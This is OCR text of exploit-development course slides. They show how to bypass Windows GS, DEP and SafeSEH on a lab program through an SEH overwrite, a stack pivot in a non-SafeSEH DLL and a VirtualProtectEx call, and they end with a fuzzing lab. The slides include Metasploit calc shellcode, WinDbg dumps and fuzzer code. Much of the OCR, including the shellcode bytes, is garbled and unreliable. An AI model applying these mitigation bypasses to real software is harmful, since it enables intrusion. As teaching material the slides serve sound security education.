eax=deadbeef ebx=7{{db000 ecx=00000000 ed=x=00000001 e=i=00b9f72a edi=0012f{e?c
eip=004010e9 esp=0012fdal ebp=0012fe94 iopl=0 nv up 21 pl nz na po nc
ce=001b ===0023 d=s=0023 e=s=0023 f==003b gs=0000 efl=00000202
simple_seh!function+0=x59:

004010e9 70041414141 nowv dword ptr [eax].41414141h d=:0023:deadbeef=77?77?77
0:000> g

(208.df0): Access violation - code c0000005 {(first chance)
First chance ezxceptions are reported before any exception handling.

This exception may be expected and handled.
eax=deadbeef ebx=7{{db000 ecx=00000000 ed=x=00000001 e=i=00b9%f72a edi=0012f{e?c

eip=004010e9 e=sp=0012fdal ebp=0012fe94 iopl=0 nv up 21 pl nz na po nc
c==001b ==s=0023 ds=0023 e=s=0023 {==003b gs=0000 efl=00010202
simple_seh!function+0=x59:

004010e9 70041414141 nov dword ptr [eax].41414141h d=:0023:deadbeef=777?7?7?7

* Now no matter how hard | try, the exception handler parsing
routine won’t execute the exception handler | hacked in
because it doesn’t point to a registered exception handler
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Defeating mitigations

* All the mitigations we’ve talked about can be
defeated

 Sometimes a mitigation will render a
vulnerability impossible to exploit, but more
often than not, the mitigation is just a

nuisance that requires the attacker to work a
little harder.

e Let’s examine the weaknesses of each
mitigation in detail.



GS Weaknesses

* The main weakness of GS is that it only

detects corruption at the point the function is
preparing to return.

 |f the attacker can gain control of EIP before
the vulnerable function returns, GS will never
get the opportunity to detect the attack.

e Let’s investigate



seh_overflow Property Pages @

Configuration: ’Active(ReIease)

| Platform: | Active(Win3z)

V‘ [Configuration Manager... ]

[+~ Common Properties
[=)- Configuration Properties
General
Debugaging
= CIC++
General
Optimization
Preprocessor
Code Generation
Language
Precompiled Headers
OQutput Files
Browse Information
Advanced
Command Line
Linker
Manifest Tool
XML Document Generator
Browse Information
Build Events
Custom Build Step

e A L A |

Enable String Pooling

Enable Minimal Rebuild

Enable C++ Exceptions

Smaller Type Check

Basic Runtime Checks

Runtime Library

Struct Member alignment

Buffer Security Check

Enable Function-Level Linking
Enable Enhanced Instruction Set
Floating Point Model

Enable Floating Point Exceptions

Enable String Pooling

Mo v
Mo

Yes With SEH Exceptions (/EHa)
Mo

Default

Multi-threaded DLL (/MD)
Default

Yes

Yes (/Gy)

Mot Set

Precise ({fp:precise)

Mo

Enable read-only string pooling For generating smaller compiled code.  {/GF)

[ OK I[ Cancel ]

e Let’s enable GS protection on the
seh overflow project we exploited previously.
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P HxD - [C:\classseh_attack _file2] =
i File Edit Search WView Analysis Extras Window ?

=
v

«» 16 v ANSI v  hex v

N

] seh_attack_file2

Offset(h) 00 01 02 03 04 05 06 07 08 09 04 OB OC 0D OE OF A
00000000 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE

00000010 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
000000z0 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PIi%-PiX%-PiX-P
00000030 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX-PiX%-Pi%-P
00000040 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
00000050 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-PiX%-PiX-P
00000060 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX-PiX%-Pi%-P
00000070 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
00000080 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
00000080 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX-PiX%-Pi%-P
000000AD EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
000000BO EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-PiX%-PiX-P
000000CO EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX-PiX%-Pi%-P
000000DD  EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
0O00000ED EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-PiX%-PiX-P
000000OFO EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX-PiX%-Pi%-P
00000100 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
00000110 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
00000120 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX%-PiX%-Pi%-P
00000130 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
00000140 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-PiX%-PiX-P
00000150 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX%-PiX%-Pi%-P
00000160 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
00000170 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PIi%-PiX%-PiX-P
00000180 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX-PiX%-Pi%-P
00000190 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
000001A0 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PIi%-PiX%-PiX-P
000001BO0 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX-PiX%-Pi%-P
000001CO EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PI%-Pi%-PiX-P
000001D0 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE I%-PIi%-PiX%-PiX-P
O00D0O01E0 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-PiX-PiX%-Pi%-PF 7

NNNNN1RN_ FF_RFT AN _NF_FF_RF_ AN _NF_FF_RF_ AN _NF_FF_RF AN DR 5 kil kil _hil_Fh

Jffset: 0 Overwrite

7 . .
n34ggc:\c]ass\seh_overF]0w\seh_overF10w\Re1ease>w1ndbg -QY seh_overflow.exe C:\class\seh_attack_file2
1237 0Ok

ﬁggggc:\c1ass\seh_overF]ow\seh_overF1ow\Re1ease>

* |'ve pointed seh_overflow at a file containing a
bunch of Oxdeadbeef. Let’s run it and see what
nappens...
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deadbf11
deadbf12
deadbf13
deadbf14
deadbf 15
deadbfl6
deadbf17?
deadbf18
deadbf19
deadbf la

deadbf1b ?7

deadbflc ?7

deadbf1d
deadbf le
deadbflf
deadbf 20
deadbf21
deadbf22
deadbf 23
deadbf 24
deadbf 25
deadbf 26
deadbf 27
deadbf 28
deadbf 29
deadbf 2a

deadbf2b 7?7

Where my G’s at?

ModlLoad: UU4UUUUU UUdusUUU seh_overt lov . exe

ModLoad: 7c900000 7c9b2000 ntdll.dll

HodLoad: 7c800000 7c8f£6000 C:\WINDOWS\system32\kernel3d2 dll

ModLoad: 78520000 785c3000 C:N\WINDOWS\WinSxS\x86_Microsoft . ¥C90.CRT_1fc8b3b9:
(b60.b64): Break instruction exception — code 80000003 (first chance)
eax=00251ebd4 ebx=7ffdel00 ecx=00000005 edx=00000020 e=si=00251f48 edi=00251ebd

eip=7c90120e esp=0012{b20 ebp=0012{fc94 iopl=0 nv up ei pl nz na po nc
cs=001b s=s=0023 ds=0023 es=0023 {==003b gs=s=0000 efl=00000202
ntdll ! DbgBreakPoint :

7c90120e cc int 3

0:000>

g
(b60.b64): Access violation - code c0000005 {(first chance)
First chance ezceptions are reported before any ezxception handling.
This exception may be expected and handled.
eax=000000de ebx=000007ff ecx=0000002b ed==00000000 esi=00345e54 =di=00130000

eip=7855aed8 esp=0012{a90 ebp=0012{fa98 iopl=0 nv up ei pl nz na pe nc
cs=001b =s=0023 ds=0023 es=0023 {==003b gs==0000 ef1=00010206
HSVCR90 | LeadUpVec+0x2c:

7855aed8 f3aS rep movs dword ptr es:[edi].dword ptr [esi]

0:000> g

(b60.b64d): Access violation — code c0000005 (first chance)

First chance ezceptions are reported before any ezception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=deadbeef edx=7c9032bc esi=00000000 =di=00000000

eip=deadbeef esp=0012f6c0 ebp=0012f6el iopl=0 nv up ei pl zr na pe nc
cs=001b s=s=0023 ds=0023 es=0023 f{==003b gs==0000 ef1=00010246
deadbeef 7?7 7?7

* Great job GS
 What happened?
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GS failure analysis

What happened is we clobbered the whole stack with
Oxdeadbeef, including the saved ebp, return address
AND the exception handler list.

In fact, we wrote so much data we wrote off the end of
the stack and caused an exception.

This caused the exception handler routine to kick in,
and pick Oxdeadbeef as the exception handler to use.

Overwriting the exception handler list is always a good
way to bypass GS.

GS will also fail you if you can overwrite c++ vtables on
the stack or any other function pointer type data that
get’s used before the function returns.



DEP

In exploits 1 we already saw some techniques to
defeat DEP.

Instead of returning to shellcode, we returned to
standard library functions that were useful to us.
For instance, we returned to code to execute
system(“/bin/sh”) instead of returning to
shellcode on the stack.

We have also seen returning to pop-pop-ret as a
means to accomplish our goals.

This general approach of calling other legitimate
code, instead of shellcode, is often referred to as
return oriented programming (ROP for short).




ROP principles

* The key observation in using ROP is that if we
control the stack (which we often do as the
attacker) we can cause an arbitrary number of
calls to existing code of our choosing.

* This is because any code that ends with a
return instruction (like all normal functions)
will look to the stack for where they should go
to continue execution after the function is
complete.



Using ROP to Defeat DEP

* There are two obvious paths we can take here

* Option 1, we can use ROP to return to an
existing function that does something useful

from an attacker standpoint, like system(“/
bin/sh”).

e Option 2, we can use ROP to effectively
disable DEP. Then we will be free to execute
shellcode in the usual manner.



DEP implementation weaknesses

* There exist several standard operating system
functions that allow you to change the memory
permissions on arbitrary ranges of memory.

 Even with DEP enabled system wide, these
functions can be freely called during a processes

execution to change the memory permissions of
pages of memory.

 As an attacker, we can return to these functions
and make the stack executable. Then we are free
to return/call our shellcode and it will execute
freely.



1lE/*

2 * windows/exec - 200 bytes

3 * http://www.metasploit.com

4 * VERBOSE=false, EXITFUNC=process, CMD=calc.exe

5| %y

6 | unsigned char buf[] =

7 "\Xfc\Xe8\X89\XOO\XOO\XOO\X60\x89\Xe5\X31\Xd2\x64\x8b\x52\x30“
81 "y\x8hA\x52\x0c\x8by k52 ff"
91 "\ 31y kel xach x3ch\ X601\ 3 ﬁﬂeZ“

Visual Studio Just-In-Time Debugger

10| "y xf0yx528 k57 28D\ x52% 3 an unhandied win32 exception occurred in calc_shellcode. exe [3252]. gs"
11 "\xc0h\x74y\xdah x01Y xd0y H e3"
120 "y x3ch\ x40\ x8b\ x34\ X8bY 3 odn"
13 "\ x01\xcT\x38\xel\ X754 4 58"
14 | "\ x8by\x58\x24%x01\xd3% 3  Possible Debuggers: gp"
15 Y XO4\ X8b\XO ]_\ XdO\X8 9\ 5 New instance of Microsoft Visual Studio 2010 ff"
16| "yxel0\x58\ x5 x5a\ x8bh 3 oom"
17 "\ x00\x004 x50 k68 k31 H 56"
18| "\ x68\xabh x95\ xbdy\ x9d\ 3 75"
19 "\ x05\xbb\x47\x13\ X724 53"
200 "\ xZ2e\xe5\ X788\ x65\ x00" ]

21 L

% % = int main () [ set the currently selected debugger as the default.

Z :; '\EOid (*E) (VOid ¥ [[IManually choose the debugaing engines.

25 f = (VOid ( * ) ( ) ) &buf; Do you want to debug using the selected debugger?

2e | £0):

27 L } I fes ] [ ] l

We saw this before, this is DEP keeping us safe.
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unsigned char buf[] =
"W xEch\xeB8\ %8 9\XOO\XOO\XOO\X60\X 9\xe5\x31\xd2\x64\x8b\x52\x30

" K8bhY\ k524 X0\ x8b\ X
" K31\ kel xach Xx3ch\ X
" O K524 X557\ X8b\ % Et‘“w Help _
"oy xT74\xdah k01 x| 0. |
"3 K49\ KB K34V K] OHex ®Dec O0ct OBin () Degees (O Radians O Grads
" R01Y\xeTWx38\ xel\ x
" x8b\ x58\ x2a\x01\ x| O Owe [ [
"y %04 x8byx01y xd0\ x [ﬁa][FE][L H J] [
"y xe 0y x58\ x5\ xbhat x
"\ %00\ %004 x50\ X684 E3E3 R
"\ X681\ xa6\ x95\ xbd\ X (o [ [s] |
"y k05 xbby x4 7\ x13\ X
" KZ2e\ K65\ T8\ K65\ X [*m]l”3H ”] [
[

Jint main{)

{

e[ = [ ¢ ]
o (s J (L J ot {ere]
| I | |
| S5 | | Y
LI

-\_ () w

(=

unsigned int oldProtect:;

void (*£f) (void):;

f = {(void (*){))&buf;

VirtualProtectEx ( (HANDLE)-1, (void *)buf,0x1000,PAGE EXECUTE READWRITE, (PDWORD)&oldProtect):;
£i):

* This is DEP letting us down.

 Notice the call to VirtualProtectEx. Even with DEP
enabled, | am free to call this function to make
the stack executable so that DEP won’t bother us
when we execute shellcode on the stack.
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SafeSEH and ASLR

* SafeSEH and ASLR are really only useful to us if

the target process and all of its DLL’s opt into
them.

* Let’s look at a typical 3 party application’s
SafeSEH/ASLR compliance on a Windows 7 64
bit machine...



0:010> Inmod

00290000 00Z2LfO0O0O rsl ssafelSEH ON /GS rsl.dll

00400000 00480000 RoxioBurnLauncher /safesEH ON /G5 C:N\Program Files (x86)“Ro
00580000 005da000 SQLite352 /BafeSEH ON  /GS SQLite352.d11

01230000 D1le5e000 resl /BafeSEH OFF ~GS rcsl  DLL

02340000 02329000 wxhlock /BafelSEH ON  /GS vxhlock.dll

10000000 1045a000 AS_Storage_w3iZ /BafeSEH OFF AS_Storage_w32.dll

be260000 6c311000 SoniclicenseManagerl3 /SafelSEH ON /G5 *ASLR *DEP SoniclicenseManagerl13.DL
6440000 6c52e000 SonicHITPClientl13 s/cSafeSEH ON  /GS *ASLR *DEP SonicHTTPClient13.DLL

 Here | use a useful WinDBG extension called
“narly” to automatically tell me the mitigation
compatibility of each module loaded into a
process address space.

 These are narly’s results on a target process |
randomly selected.

http://code.google.com/p/narly/ 146




Non-compatability

* Many 3" party DLLs that are loaded in a
process address space fail to opt into SafeSEH

and ASLR.

* |f any one of these DLLs fail to opt into these
mitigations, they can be leveraged to make
our exploit successful.



ASLR Non-compatability

* Having just one DLL in the process address
space not be ASLR compatible severely
weakens the security of the whole process.

* This weak DLL gives the attacker a large body
of code to work with that exists at a reliable

location.



SafeSEH non-compatability

* When a DLL fails to opt into SafeSEH, we can
use any of its code in a exception handler
overwrite scenario.

* This means if we can find a pop-pop-ret
sequence in the weak dll (which we usually
can), we can exploit an exception handler
overwrite in the victim process.



Mitigations bypass lab

 To demonstrate the fragility of Windows
exploit mitigation techniques, our next lab will
exploit one of our previous targets with all

exploit mitigations enabled.

* The mitigations that we will enable and bypass
are GS, DEP and SafeSEH. This is pretty much
the worst case (from an attacker perspective)
that you can expect to find in a vanilla
Windows XP target.




Target

* Our target will be the seh_overflow project
we have previously exploited, with the
aforementioned mitigations turned on.

* Since seh_overflow is a simple project that
doesn’t load many DLLs, I'll force it to load
some application DLLs that I've found on the

system.

* These application DLLs will be abused to help
facilitate our attack.



A little help courtesy of Flash

423 int main{int argc, char **argv)

43 | |

4 —l HMODULE hFlash:;

45 hFlash = LoadLibrary("Flash6.ocx");

46 if (hFlash) {

47 printf{"loaded flash successfully\n"):;

48: } else {

49: printf("flash failed to loadin"):;

50; }
0:000> !'nmod
00400000 00406000 seh_overflow 7SafeSEH ON /GS *ASLR *DEFP
10000000 10194000 Flashe /SafeSEH OFF
3dfd0000 3elbb000 iertutil 7SafeSEH ON /GS *ASLR *DEFP
54090000 5d12a000 COMCTL3Z2 /SafeSEH ON /G5

* Flash6 does not have SafeSEH enabled, which
allows us to call any of its code during a SEH
overflow. We will abuse this weak DLL to help us
bypass other mitigations.
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Game Plan

We will overwrite the Exception Handler and
trigger an exception. This will bypass /GS
protection because the Exception Handler will be

called before the stack cookie is checked at the
end of the function epilogue.

We will initially call code in a non-SafeSEH
module (Flash6.ocx) which bypasses SafeSEH.

We will then call VirtualProtect to change the
memory protections on the stack to include the
executable bit. This bypasses DEP.

Finally, we will jump to our shellcode.



Stack Control

* Because we will need to chain several blocks of
code together to pull off our attack, we will need
to control the stack pointer. More specifically we
need esp to point to attack controlled data. This
is because we need to:

e Call the VirtualProtect function with the right
arguments and the stack controls the arguments.

* Control where executing flows during a return
call and the stack controls the result of a return
instruction.



We don’t have it

* Whenever we gain control of EIP by corrupting
something like a function pointer (like we do with
a SEH overflow), we control EIP but not ESP.

* We need to somehow force ESP to point to
attacker controlled data so we can control return
instructions, arguments to functions, and
ultimately call multiple blocks of code to be
executed in the order and with the parameters
we desire.



Mini Lab 1

Force seh_overflow to crash by feeding it a file
with a lot of OXDEADBEEF.

Let the program continue a couple break points/
exceptions until EIP=DEADBEEF.

What is the value of ESP?

What range of stack addresses point to attacker
controlled data?

What is the difference between the current value
of ESP and the range of stack addresses
associated with attacker controlled data?

What registers point to attacker controlled data?



0:000> v

eax=00000000 =ebx=00000000 ecx=deadbeef edx=7c9032bc e=si=00000000 edi=00000000

eip=deadbeef esp=0012f6c0 ebp=0012f6el iopl=0

c==001b

===0023

deadbeef ?7?
0:000> ?esp

Evaluate expression:

0:000> dd
0012fbéc
0D12fb7c
0012fb8c
0012fb9%c
0012fbac
0012fbbc
0012fbce
0012fbdc
0:000> dd
0012f£fb0
0012ffc0
0012f£d0
0D12ffel
0012f££0
00130000
00130010
00130020

12fbéc

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

ds=0023

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

12fb6c+444

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
78746341
0000004
oooooo14

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
gooooozo
gooooooon
gooooool

0:000> ?12fb6c - esp

1242816

es=0023
7

f==003b gs=s=0000

= 0012f6cO

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
gooooool
gooooozo
gooooooe

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
0000249c
gooooooon
gooooo34

nv up i pl zr na pe nc
efl1=00010246

Evaluate expres=sion: 1196 = 000004ac
0:000> ?(12fbbc+444) - e=sp
Evaluate expression: 2288 = 000008f0

[0:000> |

* |t looks like anywhere from esp+0x4ac to esp
+0x8f0 points to attacker controlled data at
the time we can control of EIP.
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Stack pivot

* |f we can find a sequence of instructions of
the form add esp, X; ret; for any Ox4ac < X <
O0x8f0 we can use it to gain control of ESP
while maintaining control of EIP.

* |f we can find this instruction sequence in
Flash6.ocx we can point the exception handler
to it and use it to gain control of the stack
because Flash6.ocx does not have SafeSEH

enabled.



Mini lab 2

* Run the seh_overflow program again, setting a
oreakpoint after the point where Flash6.ocx gets
oaded.

* Search for a stack pivot that meets the criteria
described previously.

* The first bytes for add esp, imm32 ret are:
Ox81 Oxc4

So to perform the search you should execute:
“s flash6 L194000 81 c4”
From this list, try to pick out a suitable stack pivot.



10086595
10086ach
10086d6a
10087430
1008ddct

1NNO0O~41nN

30-90
90-90
90-90
30-90
30-90

0w CC

0:000> u 10086d6a
Flash6 !D1llUnregisterServer+0x3bd8e :
10086d6a 81c478080000 add esp, 878h
10086470 c3 ret

10086471 90

10086d72
10086d73
10086d74
10086d75
10086d76

90
90
90
90
90

0:000> ?esp+878

Evaluate expression:

0:000> dd 12££38

0012££38
0012££48
0012££58
0012££68
0012££78
0012££88
0012££98
0012ffa8

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

nop
nop
nop
nop
nop
nop

12449384

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

= 0012££38

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef
deadbeef

* What offset into the overflowed buffer will
ESP point to after we execute the above stack
pivot?
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Target Stack Configuration
Overflowed Buffer symbolic | Filmeout

Esp
points VirtualProtectEx Address =7
here after Return address for Virtual Alloc  =?
pivot
hProcess Argument =-1
I[pAddress Argument =7
dwSize Argument =7
fINewProtect Argument =
IplOldProtect Argument =7?

e If we setup our buffer with the above layout, precisely at the point
where esp will point after our stack pivot is used, we can call
VirtualProtect with whatever arguments we choose.

* Fill out the table for what these arguments should be to allow us to
execute our shellcode on the stack.
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Putting it all together

* Modify your previous seh_overflow attack to
overwrite the exception handler with the
address of the stack pivot we discovered.

e Setup your payload so that after the above
stack pivot executes, esp is pointing precisely
at the values you filled out on the previous
page.

e Set the return address for VirtualProtectEx to
be the address of your nops/shellcode.



Previous

0012fbd0
0012fbd?

0012fbdc
0012fbde
0012fbel
0012fbe2

0012fbeS
0012fbeb
0012fbed
0012fbef
0012fbf1l
0012fbf2
0012fbf4
0012fbf6
0012fbf8

0012fbfc
0012fbfe
0012fbff

0012fc02
0012fc04
0012fc06

0012fc09

0012fc0f
0012fcll
0012fcle
0012fcl?
0012fcl19

NN12§~1¢

< |

Disassembly

0012fbdb 5

0012fbed 4

0012fc01 £

0012fc07 7

bfdbded46d

0012fbdS dbd9

d97424£4

221500000015
00e8

8900

o000

60

89e5

31d2

0101

bofb

0012fbfa 1200

Oc8b
52
14e8

c
1200
20e9
90

celd
05977cffff

0012fcle ff

ficd
05977cfcha
94

7c00
001500610000
cn

>

seh_overfl ¢ *

E calculator

Edit View Help

| o]
OHex ®Dec OO0t OBin (® Degrees O Radians O Grads

Cinv [JHyp [_ [_ [Backspacel[ CE ” C ]

<
Ry
=
Md
Md
Md
Md
it
E
Fi ling.
Th

T T T T e T T T T T T e e T T T T S T e e T T T T T s e ece edi=00130000
eip=7855aed8 esp=0012fa90 ebp=0012fa%98 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 f{s=003b gs=0000 efl=00010216
MSVCRI0 | LeadUpVec+0x2c:

7855aed8 f£3aS rep movs dword ptr es:[edi].dword ptr [esi]

0:000> g

ModLoad: 77b40000 77b62000  C:\WINDOWS\system32\Apphelp.dll

(aB88.880): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

2ax=000000fb ebx=56a2b5f0 ecx=0012fedc edx=00000000 esi=00000000 edi=0£950ck2
eip=0012fbfa esp=0012f£f30 ebp=0012f£f30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010206
0012fbfa 1200 ade al.byte ptr [eax] ds:0023:000000£b=77

<

|se

indows . Common—-Controls_ 659!

|»

|<

K4

0:000>

Ln52, Col 1 Sys0:<local> Proc 000:a88 Thrd 000:880

NUM

* Congratulations, you survived the
thunderdome... This day...

http://www.blackhat.com/presentations/bh-usa-08/Sotirov Dowd/bh08-sotirov-

dowd.pdf offers a good summary of Windows mitigations and their weaknesses.
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Day 3: Vulnerability Discovery




Game Plan

We are about to embark on a day long lab
where we will fuzz an application to discover
vulnerabilities, then develop exploits for those
vulnerabilities.

Phase 1: Fuzz application to generate crashes
Phase 2: Analyze crashes for exploitability

Phase 3: Develop exploits for the crashes we
deem vulnerable



No mitigations

Please select the operating system to start:

Microsoft HWindows XP Professional dep enabled [debugger enabled]l

Microsoft Windows XP Professional no dep

Use the up and down arrow keys to move the highlight to your choice.
Press ENTER to choose.

* For now we will turn off DEP and other
mitigations. After we have working exploits in
mitigation-less world, we can step it up to the big
leagues.



Fuzzing

* Fuzzing is the process of feeding an
application malformed data in the hope of
making it crash

* The crashes that are generated may vield
underlying vulnerabilities in the application.

* Fuzzing is nice because it can be automated so
you can use your brain cycles on other things.



Fuzzing pros/cons

Pro: you can program a computer to do it
Pro: easy and effective

Con: you can program a computer to do it
Con: lower quality bugs



Malformed data

Deciding how to generate the ‘malformed’
program data is a crucial step in the fuzzing
process.

Two differing approaches are mutational vs
generational.

The former involves taking known good existing
data and warping them to some degree.

The latter involves generating data from scratch
based on the constraints the program data is

supposed to conform to.



Generational

* Pro: generally produces better and more
unique bugs

* Con: requires that you understand the
constraints on the program data. This is often

difficult when dealing with proprietary data
formats and applications, and requires time

consuming reverse engineering.



Mutational

* Pro:very easytodo

* Pro: requires no knowledge of the data
constraints

* Con: not quite as good as generation fuzzing,
but still works.



Our Fuzzer

We are going to take a mutation approach,
because this class isn’t about reverse
engineering.

Our first generation fuzzer will make the
simplest mutation possible, it will change a
random byte in a known good document to a
random value.



| know what you’re thinking...

* This is bogus bro...



Not exactly

* This same method has been used to find
vulnerabilities in many popular software
packages (Microsoft Office, Adobe, etc...)

* See Charlie Miller’s An analysis of Fuzzing 4
products with five lines of python. (

http://www.youtube.com/watch?
v=Xnwodi2CBws)




Crappy Document Reader

e LK
bbbb

* Crappy Document reader uses .cdf files (crappy
document format) to render documents.

 CDF reader supports drawing a background

image, and displaying text on top of that
background.
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Well formed data sample

e Qur first step in the fuzzing process is to
choose a set of well formed data to mutate.

* The key is to choose a set of data that
exercises all of the features offered by the
target program.

* |n the case of CDF reader, any document that
has text and a background is already utilizing
all of the features available.



Target Data

M zero day haiku

There‘a ny Jbugs

Hidden in

Y3

* This cdf file will serve us well since it is exercising
all of cdf reader’s available features.



Reminder

* Remember, our gameplan is to take this
known good cdf file, mutate it a little bit by
randomly changing data in it, throwing it at
the cdf reader and seeing what happens.

* Eventually we will have a set of crashes we
can analyze to try to discover vulnerabilities.



The code

def createFuzzyDocument(original_document):

This is what you should be modifying depending on how you want to
generate a fuzzy document based on the original

fuzzy_document = copy.copy(original_document)
fuzzy_document[random.randint(@,len(original_document)-1)] = random.randint(©,exff)

return fuzzy_documentl

* |In the cdf fuzzer python script,
createFuzzyDocument is the function responsible

for mutating known good cdf data.

* | encourage you to adjust the functionality of this
function.

* Consider changing how many bytes are randomly
changed, changing sequential bytes, etc...
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Other code components

def checkAccessViolation(dbg):
global crash_counter
crash_counter = crash_counter + 1

crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)

crash_analysis = "\nCRASH DETECTED\n"
crash_analysis += crash_bin.crash_synopsis()
crash_analysis += "\nCRASH COUNT: %d\n"%crash_counter

crashlog = open(CRASH_LOG_FILE, 'a‘)
crashlog.write(crash_analysis)
crashlog.close()

print “crash: %d, iteration: %d"%(crash_counter, iteration_count)

dbg.terminate_process()

cmd = “copy %s %scrash_%d.cdf"%(FUZZY_DOCUMENT_PATH,BAD_DOCUMENT_STORAGE, crash_counter)
os.system(cmd)

return DBG_EXCEPTION_NOT_HANDLED

 Some pydbg code that listens for cdf reader crashes
and logs the context of the crash to file.

* Code to start the cdf reader process with our mutated
data, and then kill the reader process soon afterwards
if a crash is not detected.
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Start your engines

[2] Microsoft Windows XP x86 DEBUG Build Environment 1
I zero day haiku

The process "cdf_reader.exe"
38, iteration: 6612

1 file(s) copied.
The process "cdf_reader.
39, iteration: 6628

1 file(s) copied.
The process "cdf_reader.
The process "cdf_reader.
40, iteration: 6917

1 file(s) copied.
The process "cdf_reader.
41, iteration: 7356

1 file(s) copied.
The process "cdf_reader.
42, iteration: 7606

1 file(s) copied.
The process "cdf_reader.
43, iteration: 7642

1 file(s) copied.
The process "cdf_reader.
44, jteration: 7674

1 file(s) copied.
The process "cdf_reader.
45, iteration: 7694

1 file(s) copied.

The process "cdf_reader.
3 3 - Q Q¢

* Now let’s raise the power bill up in here...



Crash analysis

* Eventually you will end up with a large sample
of crashes. Some will be exploitable, and some

will not.
* The trick is to examine program state at time

of crash and get a general feel for how
exploitable you think the crash is.



Crash Example

(cc8.b38): Access wviolation — code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00362530 ebx=00000000 ecx=00000000 edx=0036cS5b0 e=i=008f4e83 edi=00000000
eip=68125930 esp=0012£fd28 ebp=0012{f{d40 iopl=0 nv up ei pl zr na pe nc
cs=001b ===0023 ds=0023 e=s=0023 £{==003b g==0000 efl=00210246
*%% ERROR: Symbol file could not be found. Defaulted to export symbols for C:classcdf>cc
SDLISDL_DisplayFormat+0x20:

68125930 8b01 nov eax,.dword ptr [ecx] ds:0023:00000000=77272727272727
Missing image name, possible paged-out or corrupt data.

His=ing image name, possible paged-out or corrupt data.

0:000> »

eax=00362530 ebx=00000000 ecx=00000000 edx=0036cS5bl e=i=008f4e83 edi=00000000
eip=68125930 esp=0012{d28 ebp=0012£fd40 iopl=0 nv up 21 pl zr na pe nc
ce=001b s=s=0023 ds=0023 e=s=0023 f{==003b g=s=0000 efl=00210246
SDLISDL_DisplayFormat+0x20:

68125930 8b01 nov eax,.dword ptr [ecx] ds:0023:00000000=77272727272727

0:000> u eip
SDLISDL_DisplayFormat+0=x20:

68125930 8b01 nowv eax,.dword ptr [ecx]

68125932 2500300100 and cax,of fset <Unloaded_AN32 .dll>+0=x12f£f£f {(00013000)
68125937 09d8 or eax, ebx

68125939 89442408 nov dword ptr [esp+8].eax

6812593d 8b4204 nov eax,dword ptr [edx+4]

68125940 890c24 nov dword ptr [esp].ecx

68125943 89442404 nov dword ptr [esp+d].eax

68125947 eB74f9ffff call SDLISDL_ConvertSurface (681252c0)

0:000> ub eip
SDLISDL_DisplayFormat+0x7:

68125917 2190931468 nov eax,dword ptr [SDL!SDL_UnloadObject+0xel190 (68149390)]
6812591c 8bdd0g nov ecx,dword ptr [ebp+8]

6812591f 8b903c010000 nov ed=,dword ptr <Unloaded_AN32 dll>+0=x13b (0000013c)[eax]
68125925 85d]2 test edx, edx

